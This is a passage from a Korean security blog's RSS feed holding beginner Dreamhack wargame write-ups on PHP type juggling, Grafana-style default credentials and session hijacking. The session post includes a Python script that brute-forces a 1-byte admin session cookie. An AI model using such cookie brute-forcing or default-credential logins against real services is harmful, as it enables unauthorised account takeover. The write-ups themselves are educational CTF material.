/&gt;따라서&amp;nbsp;74와는&amp;nbsp;숫자로&amp;nbsp;비교하고,&amp;nbsp;&quot;74&quot;와는&amp;nbsp;문자열로&amp;nbsp;비교해야한다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;문제를&amp;nbsp;풀때는&amp;nbsp;드림핵의&amp;nbsp;아래&amp;nbsp;게시물의&amp;nbsp;도움을&amp;nbsp;조금&amp;nbsp;받았다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;424&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEL8Tm/btsQMhiRLMe/okodehn5oW7qi6j4QZFx2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEL8Tm/btsQMhiRLMe/okodehn5oW7qi6j4QZFx2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEL8Tm/btsQMhiRLMe/okodehn5oW7qi6j4QZFx2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEL8Tm%2FbtsQMhiRLMe%2Fokodehn5oW7qi6j4QZFx2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;584&quot; height=&quot;267&quot; data-origin-width=&quot;927&quot; data-origin-height=&quot;424&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;`7a`&lt;/b&gt; 와 같은 값을 입력하면, &lt;br /&gt;1.&amp;nbsp;74와&amp;nbsp;비교할때는&amp;nbsp;7이&amp;nbsp;되고 &lt;br /&gt;2.&amp;nbsp;&quot;74&quot;와&amp;nbsp;비교할때는&amp;nbsp;2번째&amp;nbsp;자리의&amp;nbsp;아스키코드가&amp;nbsp;더&amp;nbsp;크므로 &lt;br /&gt;조건에&amp;nbsp;부합한다. &lt;br /&gt;&lt;br /&gt;이&amp;nbsp;두값을&amp;nbsp;입력하면&amp;nbsp;무리없이&amp;nbsp;flag를&amp;nbsp;얻을&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHgHbc/btsQNoap6bo/tJ8yQ8cQHdplkASSGopve1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHgHbc/btsQNoap6bo/tJ8yQ8cQHdplkASSGopve1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHgHbc/btsQNoap6bo/tJ8yQ8cQHdplkASSGopve1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHgHbc%2FbtsQNoap6bo%2FtJ8yQ8cQHdplkASSGopve1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;557&quot; height=&quot;144&quot; data-origin-width=&quot;743&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Dreamhack</category>
      <category>loose comparison</category>
      <category>php</category>
      <category>php7.4</category>
      <category>type juggling</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>드림핵</category>
      <category>워게임</category>
      <category>타입 변환 취약점</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/16</guid>
      <comments>https://xmi1e-vir.tistory.com/16#entry16comment</comments>
      <pubDate>Tue, 23 Sep 2025 18:46:56 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'web-misconf-1' write-up</title>
      <link>https://xmi1e-vir.tistory.com/15</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;   Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/45&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;기본 설정을 사용한 서비스입니다.&lt;br /&gt;로그인한 후 Organization에 플래그를 설정해 놓았습니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;제공되는 코드는&lt;span&gt;&amp;nbsp;&lt;/span&gt;Dockerfile,&lt;span&gt;&amp;nbsp;&lt;/span&gt;deploy/defaults.ini&lt;span&gt;&amp;nbsp;&lt;/span&gt;외에는 없다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;VM을 생성하면 다음과 같은 웹사이트에 접속할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1033&quot; data-origin-height=&quot;584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9qVdf/btsQGgMlu0D/Kal3p52kpJfq0WZSR1VxEK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9qVdf/btsQGgMlu0D/Kal3p52kpJfq0WZSR1VxEK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9qVdf/btsQGgMlu0D/Kal3p52kpJfq0WZSR1VxEK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9qVdf%2FbtsQGgMlu0D%2FKal3p52kpJfq0WZSR1VxEK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;568&quot; height=&quot;584&quot; data-origin-width=&quot;1033&quot; data-origin-height=&quot;584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;비밀번호와 아이디를 모르면 아무것도 할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Dockerfile을 열어보니 의미있는 내용은 없었다.&lt;br /&gt;반면,&lt;span&gt;&amp;nbsp;&lt;/span&gt;defaults.ini을 열어보니 계정 정보를 얻을 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;627&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6o7lK/btsQJcg0m1u/9lF4nbmVSfnyv6e0IMh17k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6o7lK/btsQJcg0m1u/9lF4nbmVSfnyv6e0IMh17k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6o7lK/btsQJcg0m1u/9lF4nbmVSfnyv6e0IMh17k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6o7lK%2FbtsQJcg0m1u%2F9lF4nbmVSfnyv6e0IMh17k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;505&quot; height=&quot;627&quot; data-origin-width=&quot;721&quot; data-origin-height=&quot;627&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;해당 정보로 로그인 해서 문제의 지시대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;'Server Admin &amp;rarr; Settings &amp;rarr; auth.anonymous &amp;rarr; org_name'&lt;/b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;로 이동하면 flag 정보를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;839&quot; data-origin-height=&quot;585&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6EqhF/btsQJyRHCW5/RBR5CBpxJ40VXt0Sszbl8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6EqhF/btsQJyRHCW5/RBR5CBpxJ40VXt0Sszbl8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6EqhF/btsQJyRHCW5/RBR5CBpxJ40VXt0Sszbl8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6EqhF%2FbtsQJyRHCW5%2FRBR5CBpxJ40VXt0Sszbl8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;523&quot; height=&quot;365&quot; data-origin-width=&quot;839&quot; data-origin-height=&quot;585&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;정말 어이없겠지만,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;s&gt;사실 나는 그냥 찍어서 admin/admin으로 로그인 해봤는데 성공했다.&lt;/s&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;플래그를 보면 기본 계정이 얼마나 위험한지 경각심을 심어주기 위한 문제인것 같다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>WARGAME/WEB</category>
      <category>Dreamhack</category>
      <category>Server</category>
      <category>WarGame</category>
      <category>WEB</category>
      <category>web-misconf-1</category>
      <category>webhacking</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/15</guid>
      <comments>https://xmi1e-vir.tistory.com/15#entry15comment</comments>
      <pubDate>Fri, 19 Sep 2025 19:43:17 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame 'session' write-up</title>
      <link>https://xmi1e-vir.tistory.com/14</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://dreamhack.io/wargame/challenges/266&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;쿠키와 세션으로 인증 상태를 관리하는 간단한 로그인 서비스입니다.&lt;br /&gt;admin 계정으로 로그인에 성공하면 플래그를 획득할 수 있습니다.&lt;/blockquote&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주어진 페이지는&lt;span&gt;&amp;nbsp;&lt;/span&gt;username가&lt;span&gt;&amp;nbsp;&lt;/span&gt;admin인 경우에 flag를 제공해준다.&lt;/p&gt;
&lt;pre id=&quot;code_1757923126437&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/')
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html')

    return render_template('index.html', text=f'Hello {username}, {&quot;flag is &quot; + FLAG if username == &quot;admin&quot; else &quot;you are not admin&quot;}')&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;유효한 유저목록은 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1757923138347&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;users = {
    'guest': 'guest',
    'user': 'user1234',
    'admin': FLAG
}
// 임시 세션 저장소
session_storage = {
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;로그인 과정을 살펴보면&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;유저이름에 알맞는 비밀번호가 입력되면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;os.urandom(4).hex()&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;을 통해 랜덤&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;session_id&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;를 생성하고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;sesson_storage&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;의 해당 인덱스에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;username&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;을 저장한다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1757923151974&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '&amp;lt;script&amp;gt;alert(&quot;not found user&quot;);history.go(-1);&amp;lt;/script&amp;gt;'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(4).hex()
            session_storage[session_id] = username
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '&amp;lt;script&amp;gt;alert(&quot;wrong password&quot;);history.go(-1);&amp;lt;/script&amp;gt;'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;앞서 보았듯이 로그인에서 가장 핵심적인 정보가&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_id이다.&lt;br /&gt;만약 우리가 guest로 로그인을 한 상태라면,&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_storage에서 guest라는&lt;span&gt;&amp;nbsp;&lt;/span&gt;username이 저장되어있는 위치가 바로&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_id인것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;487&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK08zG/btsQAqtstvZ/rYd6FCOxBtdgZsJuUe4Avk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK08zG/btsQAqtstvZ/rYd6FCOxBtdgZsJuUe4Avk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK08zG/btsQAqtstvZ/rYd6FCOxBtdgZsJuUe4Avk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK08zG%2FbtsQAqtstvZ%2FrYd6FCOxBtdgZsJuUe4Avk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;648&quot; height=&quot;328&quot; data-origin-width=&quot;962&quot; data-origin-height=&quot;487&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;따라서 우리가 로그인하고자 하는 admin의 세션 아이디를 알 수 있다면, 우리는 admin으로 로그인을 한것처럼 웹사이트를 속일 수 있다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그렇다면 admin의 세션 아이디는 어디있을까?&lt;br /&gt;바로&lt;span&gt;&amp;nbsp;&lt;/span&gt;main()함수에서 찾아볼 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1757923200358&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;if __name__ == '__main__':
    import os
    session_storage[os.urandom(1).hex()] = 'admin'
    print(session_storage)
    app.run(host='0.0.0.0', port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;main()이 실행됨과 동시에&lt;span&gt;&amp;nbsp;&lt;/span&gt;os.urandom(1).hex()라는 코드로 랜덤값을 생성하고, 이게 admin의&lt;span&gt;&amp;nbsp;&lt;/span&gt;session_id가 된다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;os.urandom(1)은 딱 1바이트 (8비트) 를 생성하므로, 값의 범위는 0~255이고 총 256가지의 경우의 수가 있는것이다.&lt;br /&gt;이정도면 브루트 포스(brute force)로 충분히 해결이 가능한 수준이기 때문에 gpt한테 시켜서 응답이 성공할때의 세션 아이디를 가져오는 코드를 작성했다.&lt;/p&gt;
&lt;pre id=&quot;code_1757923221200&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import requests

# 문제의 웹사이트 주소
TARGET_URL = 'http://host8.dreamhack.games:port/' 
SUCCESS_STRING = 'admin'

def find_admin_session():
    &quot;&quot;&quot;
    0x00부터 0xff까지 모든 세션 ID 값을 시도하여 admin 계정을 탐색
    &quot;&quot;&quot;
    print(&quot;... Admin 세션 ID 찾기 시작 ...&quot;)

    # 0부터 255까지의 모든 경우의 수를 확인
    for i in range(256):
        # 숫자를 두 자리 16진수 문자열로 변환
        session_id_to_try = f'{i:02x}'
        cookies = {
            'sessionid': session_id_to_try 
        }

        try:
            # 조작된 세션 쿠키를 포함하여 GET 요청
            response = requests.get(TARGET_URL, cookies=cookies)
            
            # 응답 내용(response.text)에 성공 문자열이 포함되어 있는지 확인
            if SUCCESS_STRING in response.text:
                print(f&quot;\n[+] 성공! Admin 세션 ID를 찾았습니다: {session_id_to_try}&quot;)
                return session_id_to_try

            print(f&quot;\r시도 중: {session_id_to_try}&quot;, end=&quot;&quot;)

        except requests.exceptions.RequestException as e:
            print(f&quot;\n[!] 요청 중 오류가 발생했습니다: {e}&quot;)
            return None

    print(&quot;\n[-] 실패. Admin 세션 ID를 찾지 못했습니다.&quot;)
    return None

if __name__ == '__main__':
    find_admin_session()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;151&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/drRZ6Y/btsQyzYWnXW/imK4zvEeWtMwPbWKfXvee1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/drRZ6Y/btsQyzYWnXW/imK4zvEeWtMwPbWKfXvee1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/drRZ6Y/btsQyzYWnXW/imK4zvEeWtMwPbWKfXvee1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdrRZ6Y%2FbtsQyzYWnXW%2FimK4zvEeWtMwPbWKfXvee1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;452&quot; height=&quot;117&quot; data-origin-width=&quot;583&quot; data-origin-height=&quot;151&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;guest, user와 같이 미리 주어진 계정으로 로그인 해놓은 뒤&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;session_id&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;를 알아낸 값으로 바꾸면 아래와 같이 flag를 얻을 수 있다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;791&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xsgek/btsQyt5t78E/Plq7vTfhij9DzdSuToHRMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xsgek/btsQyt5t78E/Plq7vTfhij9DzdSuToHRMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xsgek/btsQyt5t78E/Plq7vTfhij9DzdSuToHRMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXsgek%2FbtsQyt5t78E%2FPlq7vTfhij9DzdSuToHRMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;791&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;791&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 id=&quot;참고할-자료&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;[참고할 자료]&lt;/h4&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;문제를 풀고 나서 찾아본 다른 분들의 풀이중에 참고하면 좋을 풀이를 공유한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;brup suite의 intrude 기능으로 브루트포스&lt;br /&gt;&lt;a href=&quot;https://alim11.tistory.com/408&quot;&gt;https://alim11.tistory.com/408&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</description>
      <category>WARGAME/WEB</category>
      <category>cookie tampering</category>
      <category>Dreamhack</category>
      <category>session hijacking</category>
      <category>WarGame</category>
      <category>드림핵</category>
      <category>보안</category>
      <category>워게임</category>
      <category>웹</category>
      <category>웹해킹</category>
      <category>정보보안</category>
      <author>eunee22</author>
      <guid isPermaLink="true">https://xmi1e-vir.tistory.com/14</guid>
      <comments>https://xmi1e-vir.tistory.com/14#entry14comment</comments>
      <pubDate>Mon, 15 Sep 2025 17:02:55 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] wargame '  simple-web-request' write-up</title>
      <link>https://xmi1e-vir.tistory.com/13</link>
      <description>&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;  Biginner&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/830&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;문제링크&lt;/a&gt;&lt;br /&gt;STEP 1~2를 거쳐 FLAG 페이지에 도달하면 플래그가 출력됩니다.&lt;br /&gt;모든 단계를 통과하여 플래그를 획득하세요. 플래그는 flag.txt 파일과 FLAG 변수에 있습니다.&lt;br /&gt;플래그 형식은 DH{...} 입니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 id=&quot;문제-파악&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt; 문제 파악&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;주어진 웹사이트로 접속하면 아래와 같이 param, param2를 입력하는 창이 나온다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD3tEa/btsQzDMo6BT/yUvBIujdKQ8mtGOnO9j6m1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD3tEa/btsQzDMo6BT/yUvBIujdKQ8mtGOnO9j6m1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD3tEa/btsQzDMo6BT/yUvBIujdKQ8mtGOnO9j6m1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD3tEa%2FbtsQzDMo6BT%2FyUvBIujdKQ8mtGOnO9j6m1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;477&quot; height=&quot;197&quot; data-origin-width=&quot;586&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 id=&quot;-문제-풀이&quot; style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;  문제 풀이&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드를 살펴보면서 어떻게 풀어야할지 고민해보자&lt;/p&gt;
